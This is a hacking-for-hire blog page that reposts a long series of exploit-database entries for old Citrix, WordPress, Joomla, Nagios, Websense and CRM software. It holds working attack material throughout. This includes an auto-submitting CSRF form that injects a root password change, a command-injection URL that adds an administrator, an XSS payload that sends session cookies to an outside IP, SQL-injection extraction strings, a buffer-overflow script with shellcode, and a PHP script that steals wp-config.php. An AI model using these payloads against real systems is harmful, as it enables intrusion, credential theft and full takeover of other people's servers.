Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863120652

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Abstract


Securify discovered a command injection vulnerability in xen_hotfix page of the NITRO SDK. The attacker-supplied command is executed with elevated privileges (nsroot). This issue can be used to compromise of the entire Citrix SDX appliance and all underling application's and data.

Tested version


This issue was discovered in Citrix NetScaler SDX svm-10.5-50-1.9, other versions may also be affected.

Fix


Citrix reports that this vulnerability is fixed in NetScaler 10.5 build 52.3nc.

Introduction


The Citrix NetScaler SDX platform delivers fully isolated NetScaler instances running on a single appliance. Each instance is a full-blown NetScaler environment, which optimizes delivery of applications over the Internet and private networks. The NITRO SDK allows you to configure and monitor the NetScaler appliance programmatically. NITRO exposes its functionality through REST interfaces. A Cross-Site Scripting vulnerability was found in one of the REST services exposed by the NITRO SDK.

Administrators can upload XenServer hotfixes to the Citrix SDX appliance. The REST interface responsible for handling these hotfixes is vulnerable to command injection.

Details


This vulberability exists because the file_name parameter submitted to the /nitro/v1/config/xen_hotfix page used in a shell command without proper input validation/sanitation, introducing a command execution vulnerability. The shell command is executed with elevated privileges (nsroot), which allows attackers to run arbitrary commands with these privileges. This issue can be used to compromise of the entire Citrix SDX appliance and all underling application's and data.

The following proof of concept can be used to exploit this issue;
<html>
   <body>
      <form action="https://SDXHOSTIP/nitro/v1/config/xen_hotfix" method="POST">
         <input type="hidden" name="object" value="&#123;"params"&#58;&#123;"action"&#58;"start"&#125;&#44;"xen&#95;hotfix"&#58;&#91;&#123;"file&#95;name"&#58;"&#46;&#46;&#47;&#46;&#46;&#47;etc&#47;passwd&#59;echo&#32;nsroot&#58;Securify&#124;chpasswd&#59;"&#125;&#93;&#125;" />
         <input type="submit" value="Submit request" />
      </form>
      <script>document.forms[0].submit();</script>
   </body>
</html>



POST /nitro/v1/config/xen_hotfix HTTP/1.1
-----------------------------------------

object={"params"%3a{"action"%3a"start"}%2c"xen_hotfix"%3a[{"file_name"../../etc/passwd;reboot;"}]}

or

object={"params"%3a{"action"%3a"start"}%2c"xen_hotfix"%3a[{"file_name"%3a"../../etc/passwd;echo nsroot:han|chpasswd;"}]}


Due to insufficient Cross-Site Request Forgery protection, it is possible to exploit this issue by tricking a logged in admin user into visiting a specially crafted web page.
HireHackking 
source: https://www.securityfocus.com/bid/51027/info

The Opera Web browser is prone to multiple remote denial-of-service vulnerabilities and an unspecified vulnerability.

An attacker can exploit these issues to cause the affected application to crash, denying service to legitimate users.

Note: The impact of the unspecified vulnerability is not known. We will update this BID when more information emerges.

Versions prior to Opera Web Browser 11.60 are vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36443.zip
HireHackking 
source: https://www.securityfocus.com/bid/51031/info

flash-album-gallery plug-in for WordPress is prone to a cross-site-scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[path]/wp-content/plugins/flash-album-gallery/flagshow.php?pid=[xss]
HireHackking 
source: https://www.securityfocus.com/bid/51037/info

The Welcomizer plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

The Welcomizer 1.3.9.4 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/wp-content/plugins/the-welcomizer/twiz-index.php?page=[xss]
HireHackking 
source: https://www.securityfocus.com/bid/51045/info

Fork CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Fork CMS 3.1.5 is vulnerable; other versions may also be affected. 

http://www.example.com/blog/detail/article?utm_source=feed&utm_medium=rss"><script>alert(&#039;xss&#039;)</script>  

http://www.example.com/search?form=search&q_widget=&submit="><script>alert(&#039;xss&#039;)</script> 
 
http://www.example.com/search?form=search&q_widget="><script>alert(&#039;xss&#039;)</script>

http://www.example.com/search?form="><script>alert(&#039;xss&#039;)</script>

http://www.example.com/private/en/users/edit?id=1"><script>alert(&#039;xss&#039;)</script>

http://www.example.com/private/en/pages/edit?token=true&id=1"><script>alert(&#039;xss&#039;)</script>
 
http://www.example.com/private/en/mailmotor/settings?token="><script>alert(&#039;xss&#039;)</script>
HireHackking 
source: https://www.securityfocus.com/bid/51056/info

Pulse Pro is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Pulse Pro 1.7.2 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?p=blocks&d="><script>alert(1)</script>
http://www.example.com/index.php?p=edit-post&post_id="><script>alert(1)</script>
HireHackking 
source: https://www.securityfocus.com/bid/51060/info

Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. 

http://www.example.com/modules/Documents/version_list.php?parent_id=1%20AND%201=2%20--%202
HireHackking 
source: https://www.securityfocus.com/bid/51060/info
 
Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. 

http://www.example.com/modules/Documents/index.php?id=1&contact_id=1%27%20OR%20%271%27=%271
HireHackking 
source: https://www.securityfocus.com/bid/51060/info
  
Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. 

http://www.example.com/index.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/modules/admin/admin_module_index.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/ script%3E
http://www.example.com/modules/calendar/customise_calendar_times.php/%22%3E%3Cscript%3Ealert%28document.cooki e%29;%3C/script%3E
HireHackking 
source: https://www.securityfocus.com/bid/51060/info
   
Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. 

http://www.example.com/licence/index.php?framed=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
HireHackking 
source: https://www.securityfocus.com/bid/51060/info
     
Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
     
Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. 

<form action="http://www.example.com/pub/clients.php" method="post">

<input type="hidden" name="loginwww.example.com" value=&#039;"><script>alert(1);</script>&#039;>
<input type="hidden" name="login[username]" value=&#039;"><script>alert(2);</script>&#039;>
<input type="hidden" name="login[password]" value=&#039;"><script>alert(3);</script>&#039;>
<input type="hidden" name="login[webform]" value=&#039;"><script>alert(4);</script>&#039;>
<input type="hidden" name="login[disable_email_check]" value=&#039;"><script>alert(5);</script>&#039;>
<input type="hidden" name="login[client_email]" value=&#039;"><script>alert(6);</script>&#039;>
<input type="hidden" name="login[client_password]" value=&#039;"><script>alert(7);</script>&#039;>
<input type="submit" value="submit" id="btn">
</form>
HireHackking 
source: https://www.securityfocus.com/bid/51060/info
      
Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
      
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
      
Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. 

<form action="http://www.example.com/index.php" method="post">
<input type="hidden" name="loginwww.example.com" value=&#039;"><script>alert(1);</script>&#039;>
<input type="hidden" name="login[password]" value=&#039;"><script>alert(2);</script>&#039;>
<input type="hidden" name="login[rebuild_cache]" value=&#039;"><script>alert(3);</script>&#039;>
<input type="hidden" name="login[remember_me]" value=&#039;"><script>alert(4);</script>&#039;>
<input type="hidden" name="login[skin]" value=&#039;"><script>alert(5);</script>&#039;>
<input type="hidden" name="login[username]" value=&#039;"><script>alert(6);</script>&#039;>
<input type="submit" value="submit" id="btn">
</form>
HireHackking 
source: www.securityfocus.com/bid/51069/info

Nagios XI is prone to an HTML injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.

Nagios XI versions prior to 2011R1.9 are vulnerable. 

Reflected XSS
-----

Page:		/nagiosxi/login.php
Variables:	-
PoCs:		http://site/nagiosxi/login.php/";alert(&#039;0a29&#039;);"
Details:	The URL is copied into JavaScript variable &#039;backend_url&#039; in an unsafe
		manner
		Also affects:
		/nagiosxi/about/index.php
		/nagiosxi/about/index.php
		/nagiosxi/about/main.php
		/nagiosxi/account/main.php
		/nagiosxi/account/notifymethods.php
		/nagiosxi/account/notifymsgs.php
		/nagiosxi/account/notifyprefs.php
		/nagiosxi/account/testnotification.php
		/nagiosxi/help/index.php
		/nagiosxi/help/main.php
		/nagiosxi/includes/components/alertstream/go.php
		/nagiosxi/includes/components/alertstream/index.php
		/nagiosxi/includes/components/hypermap_replay/index.php
		/nagiosxi/includes/components/massacknowledge/mass_ack.php
		/nagiosxi/includes/components/xicore/recurringdowntime.php/
		/nagiosxi/includes/components/xicore/status.php
		/nagiosxi/includes/components/xicore/tac.php
		/nagiosxi/reports/alertheatmap.php
		/nagiosxi/reports/availability.php
		/nagiosxi/reports/eventlog.php
		/nagiosxi/reports/histogram.php
		/nagiosxi/reports/index.php
		/nagiosxi/reports/myreports.php
		/nagiosxi/reports/nagioscorereports.php
		/nagiosxi/reports/notifications.php
		/nagiosxi/reports/statehistory.php
		/nagiosxi/reports/topalertproducers.php
		/nagiosxi/views/index.php
		/nagiosxi/views/main.php

Page:		/nagiosxi/account/
Variables:	xiwindow
PoCs:		http://site/nagiosxi/account/?xiwindow="></iframe><script>alert(&#039;0a29&#039;)</script>

Page:		/nagiosxi/includes/components/massacknowledge/mass_ack.php
Variables:	-
PoCs:		http://site/nagiosxi/includes/components/massacknowledge/mass_ack.php/&#039;><script>alert("0a29")</script>

Page:		/nagiosxi/includes/components/xicore/status.php
Variables:	hostgroup, style
PoCs:		http://site/nagiosxi/includes/components/xicore/status.php?show=hostgroups&hostgroup=&#039;><script>alert("0a29")</script>
		http://site/nagiosxi/includes/components/xicore/status.php?show=hostgroups&hostgroup=all&style=><script>alert("0a29")</script>

Page:		/nagiosxi/includes/components/xicore/recurringdowntime.php
Variables:	-
PoCs:		http://site/nagiosxi/includes/components/xicore/recurringdowntime.php/&#039;;}}alert(&#039;0a29&#039;)</script>


Page:		/nagiosxi/reports/alertheatmap.php
Variables:	height, host, service, width
PoCs:		http://site/nagiosxi/reports/alertheatmap.php?height="><script>alert("0a29")</script>
		http://site/nagiosxi/reports/alertheatmap.php?host="><script>alert("0a29")</script>
		http://site/nagiosxi/reports/alertheatmap.php?service="><script>alert("0a29")</script>
		http://site/nagiosxi/reports/alertheatmap.php?width="><script>alert("0a29")</script>

Page:		/nagiosxi/reports/histogram.php
Variable:	service
PoCs:		http://site/nagiosxi/reports/histogram.php?service="><script>alert("0a29")</script>

Page:		/nagiosxi/reports/notifications.php
Variables:	host, service
PoCs:		http://site/nagiosxi/reports/notifications.php?host="><script>alert("0a29")</script>
		http://site/nagiosxi/reports/notifications.php?service="><script>alert("0a29")</script>

Page:		/nagiosxi/reports/statehistory.php
Variables:	host, service
PoCs:		http://site/nagiosxi/reports/statehistory.php?host="><script>alert("0a29")</script>
		http://site/nagiosxi/reports/statehistory.php?service="><script>alert("0a29")</script>


Stored XSS
-----

Page:		/nagiosxi/reports/myreports.php
Variable:	title
Details:	It is possible to store XSS within &#039;My Reports&#039;, however it
is believed this
		is only viewable by the logged-in user.
		1) View a report and save it, e.g.
		http://site/nagiosxi/reports/myreports.php?add=1&title=Availability+Summary&url=%2Fnagiosxi%2Freports%2Favailability.php&meta_s=a%3A0%3A%7B%7D
		2) Name the report with XSS, e.g. "><script>alert("0a29")</script>
HireHackking 
source: https://www.securityfocus.com/bid/51076/info

Owl Intranet Engine is prone to an authentication-bypass vulnerability.

An attacker can exploit this issue to bypass the authentication process and gain administrative access to the application.

Owl Intranet Engine 1.00 is affected; other versions may also be vulnerable. 

http://www.example.org/owl/admin/index.php?userid=1
http://www.example.org/owl/admin/index.php?userid=1&newuser
http://www.example.org/owl/admin/index.php?userid=1&action=edituser&owluser=1
HireHackking 
source: https://www.securityfocus.com/bid/51085/info

Websense Triton is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

This issue affects the following applications:

Websense Web Security Gateway Anywhere v7.6
Websense Web Security Gateway v7.6
Websense Web Security v7.6
Websense Web Filter v7.6 

https://www.example.com/explorer_wse/detail.exe?c=cat&cat=153&anon=&startDate=2011-10-22&endDate=2011-10-22&session=a434cf98f3a402478599a71495a4a71e&dTitle=Internet_use_by_Category"><script>alert(document.cookie)</script>&section=1&uid=&col=1&cor=1&explorer=1&fork=1&puid=7360

Send the current session-cookies to a credentials-collection server:

https://www.example.com/explorer_wse/detail.exe?c=cat&cat=153&anon=&startDate=2011-10-22&endDate=2011-10-22&session=a434cf98f3a402478599a71495a4a71e&dTitle=Internet_use_by_Category"><script>document.location=unescape("http://192.168.1.64/"%2bencodeURIComponent(document.cookie))</script>&section=1&uid=&col=1&cor=1&explorer=1&fork=1&puid=7360
HireHackking 
source: https://www.securityfocus.com/bid/51086/info

Websense Triton is prone to a remote command-execution vulnerability.

An attacker can exploit this issue to execute arbitrary commands with SYSTEM-level privileges. Successfully exploiting this issue will result in the complete compromise of affected computers. 

https://www.example.com/explorer_wse/ws_irpt.exe?&SendFile=echo.pdf%26net user administrator blah|
HireHackking 
source: https://www.securityfocus.com/bid/51087/info

Multiple Websense products are prone to an authentication-bypass vulnerability.

Remote attackers can exploit this issue to bypass the authentication mechanism and gain unauthorized access.

The following Websense products are affected:

Websense Web Security Gateway Anywhere 7.6
Websense Web Security Gateway 7.6
Websense Web Security 7.6
Websense Web Filter 7.6 

https://www.example.com/explorer_wse/favorites.exe?startDate=2011-10-22&endDate=2011-10-23&action=def
HireHackking 
source:  https://www.securityfocus.com/bid/51106/info

Flirt-Projekt is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Flirt-Projekt 4.8 is vulnerable; other versions may also be affected. 

http://www.example.com/flirtportal/rub2_w.php?kontaktid=f6389d0eeabdb4aaf99f3c3c949dc793&rub=1â??a
HireHackking 
source: https://www.securityfocus.com/bid/51108/info

Video Community Portal is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/videoportalneu/index.php?d=user&id=2â??a
HireHackking 
source: https://www.securityfocus.com/bid/51107/info

Social Network Community is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Social Network Community 2 is vulnerable; other versions may also be affected. 

http://www.example.com/social2/user.php?userId=12'a
HireHackking 
# Exploit Title: Persistent XSS via Markdown on Telescope  <= 0.9.2
# Date: Aug 22 2014
# Exploit Author: shubs
# Vendor Homepage: http://www.telescopeapp.org/
# Software Link: https://github.com/TelescopeJS/Telescope
# Version: <= 0.9.2
# CVE : CVE-2014-5144

Telescope 0.9.2 and below suffer from a persistent cross site scripting
vulnerability due to the lack of input sanitisation and validation
performed when parsing markdown user input. An authenticated user can
include links, images, code blocks and more through markdown, in the form
of comments, posts or replies and more.

As an example, the following vectors below can be used in comments, posts
or replies to trigger the XSS:

[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)

Once posted as comments, the above markdown is converted to links without
any sanitisation. When such links are clicked, the vector is executed
successfully.

Screenshots:
http://i.imgur.com/6SQgUYd.png
http://i.imgur.com/6VeZasj.png
HireHackking 
##################################################################################################
#Exploit Title : Joomla Spider FAQ component SQL Injection vulnerability
#Author        : Manish Kishan Tanwar AKA error1046
#Vendor Link   : http://demo.web-dorado.com/spider-faq.html
#Date          : 21/03/2015
#Discovered at : IndiShell Lab
#Love to       : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Incredible,Kishan Singh and ritu rathi
#Discovered At : Indishell Lab
##################################################################################################

////////////////////////
/// Overview:
////////////////////////


joomla component Spider FAQ is not filtering data in theme and Itemid parameters
and hence affected from SQL injection vulnerability 

///////////////////////////////
// Vulnerability Description:
///////////////////////////////
vulnerability is due to theme and Itemid parameter 

////////////////
///  POC   ////
///////////////

POC image=http://oi57.tinypic.com/2rh1zk7.jpg

SQL Injection in theme parameter
=================================

Use error based double query injection with theme parameter
Like error based double query injection for exploiting username --->
and(select 1 FROM(select count(*),concat((select (select concat(user(),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- - 

Injected Link--->
http://website.com/index.php?option=com_spiderfaq&view=spiderfaqmultiple&standcat=0&faq_cats=,2,3,&standcatids=&theme=4 and(select 1 FROM(select count(*),concat((select (select concat(user(),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- - &searchform=1&expand=0&Itemid=109


SQL Injection in Itemid parameter
=================================

Itemid Parameter is exploitable using xpath injection 

User extraction payload
------------------------
' AND EXTRACTVALUE(6678,CONCAT(0x7e,(SELECT user() LIMIT 0,1),0x7e))-- -

crafted URL--->
http://localhostm/index.php?option=com_spiderfaq&view=spiderfaqmultiple&standcat=0&faq_cats=,2,3,&standcatids=&theme=4&searchform=1&expand=0&Itemid=109' AND EXTRACTVALUE(6678,CONCAT(0x7e,(SELECT user() LIMIT 0,1),0x7e))-- -

Table extraction
-----------------
' and extractvalue(6678,concat(0x7e,(select  table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e))-- -

Crafted URL---->
http://localhost/index.php?option=com_spiderfaq&view=spiderfaqmultiple&standcat=0&faq_cats=,2,3,&standcatids=&theme=4&searchform=1&expand=0&Itemid=109' and extractvalue(6678,concat(0x7e,(select  table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e))-- -

                             --==[[ Greetz To ]]==--
############################################################################################
#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba, 
#Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,
#Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA,
#Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash
#############################################################################################
                             --==[[Love to]]==--
# My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,
#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty and Don(Deepika kaushik)
                       --==[[ Special Fuck goes to ]]==--
                            <3  suriya Cyber Tyson <3
HireHackking 
#!/usr/bin/python
 
#[+] Author: TUNISIAN CYBER
#[+] Exploit Title: Free MP3 CD Ripper All versions Local Buffer Overflow
#[+] Date: 20-03-2015
#[+] Type: Local Exploits
#[+] Tested on: WinXp/Windows 7 Pro
#[+] Vendor: http://www.commentcamarche.net/download/telecharger-34082200-free-mp3-cd-ripper
#[+] Friendly Sites: sec4ever.com
#[+] Twitter: @TCYB3R

## EDB Note: Didn't work with Windows 7.

from struct import pack
file="evilfile.wav"
junk="\x41"*4112
eip = pack('<I',0x7C9D30D7)
nops = "\x90" * 3
#Calc.exe Shellcode
#POC:http://youtu.be/_uvHKonqO2g
shellcode = ("\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78"
"\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3"
"\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27\xdd\x48\xfd"
"\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8"
"\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5"
"\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87"
"\xb7\x78\x2f\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca")
writeFile = open (file, "w")
writeFile.write(junk+eip+nops+shellcode)
writeFile.close()
HireHackking 
# Exploit Title: WP Marketplace 2.4.0 Arbitrary File Download
# Date: 26-10-2014
# Software Link: https://wordpress.org/plugins/wpmarketplace/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
# CVE: CVE-2014-9013 and CVE-2014-9014

1. Description

Anyone can run user defined function because of call_user_func.

File: wpmarketplace\libs\cart.php

function ajaxinit(){
if(isset($_POST['action']) && $_POST['action']=='wpmp_pp_ajax_call'){
	if(function_exists($_POST['execute']))
		call_user_func($_POST['execute'],$_POST);
	else
		echo __("function not defined!","wpmarketplace");
	die();
	}
}

http://security.szurek.pl/wp-marketplace-240-arbitrary-file-download.html

2. Proof of Concept

$file =  '../../../wp-config.php';
$url = 'http://wordpress-url/';
$user = 'userlogin';
$email = 'useremail@email.email';
$pass = 'password';
$cookie = "/cookie.txt";

$ckfile = dirname(__FILE__) . $cookie;
$cookie = fopen($ckfile, 'w') or die("Cannot create cookie file");

// Register
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url.'?checkout_register=register');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch,
    CURLOPT_POSTFIELDS,
    array(
        'register_form' => 'register',
        'reg[user_login]' => $user,
        'reg[user_email]' => $email,
        'reg[user_pass]' => $pass
    ));
$content = curl_exec($ch);
if (!preg_match("/success/i", $content)) {
    die("Cannot register");
}
// Log in
curl_setopt($ch, CURLOPT_URL, $url.'wp-login.php');
curl_setopt($ch,
    CURLOPT_POSTFIELDS,
    array(
        'log' => $user,
        'pwd' => $pass,
        'wp-submit' => 'Log%20In'
    ));
$content = curl_exec($ch);
if (!preg_match('/adminmenu/i', $content)) {
    die("Cannot login");
}
// Add subscriber as plugin admin
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,
    CURLOPT_POSTFIELDS,
    array(
        'action' => 'wpmp_pp_ajax_call',
        'execute' => 'wpmp_save_settings',
        '_wpmp_settings[user_role][]' => 'subscriber'
    ));
$content = curl_exec($ch);
if (!preg_match('/Settings Saved Successfully/i', $content)) {
    die("Cannot set role");
}
// Request noonce
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,
    CURLOPT_POSTFIELDS,
    array(
        'action' => 'wpmp_pp_ajax_call',
        'execute' => 'wpmp_front_add_product'
    ));
$content = curl_exec($ch);
preg_match('/name="__product_wpmp" value="([^"]+)"/i', $content, $nonce);
if (strlen($nonce[1]) < 2) {
    die("Cannot get nonce");
}
// Set file to download
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch,
    CURLOPT_POSTFIELDS,
    array(
        '__product_wpmp' => $nonce[1],
        'post_type' => 'wpmarketplace',
        'id' => '123456',
        'wpmp_list[base_price]' => '0',
        'wpmp_list[file][]' => $file
    ));
$content = curl_exec($ch);
header("Location: ".$url."?wpmpfile=123456");

3. Solution:

Update to version 2.4.1

https://downloads.wordpress.org/plugin/wpmarketplace.2.4.1.zip
HireHackking 
source: https://www.securityfocus.com/bid/51119/info

PHP Booking Calendar is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PHP Booking Calendar 10e is vulnerable; other versions may also be affected. 

http://www.example.com/cal/details_view.php?event_id=1&date=2011-12-01&view=month&loc=loc1&page_info_message=[XSS]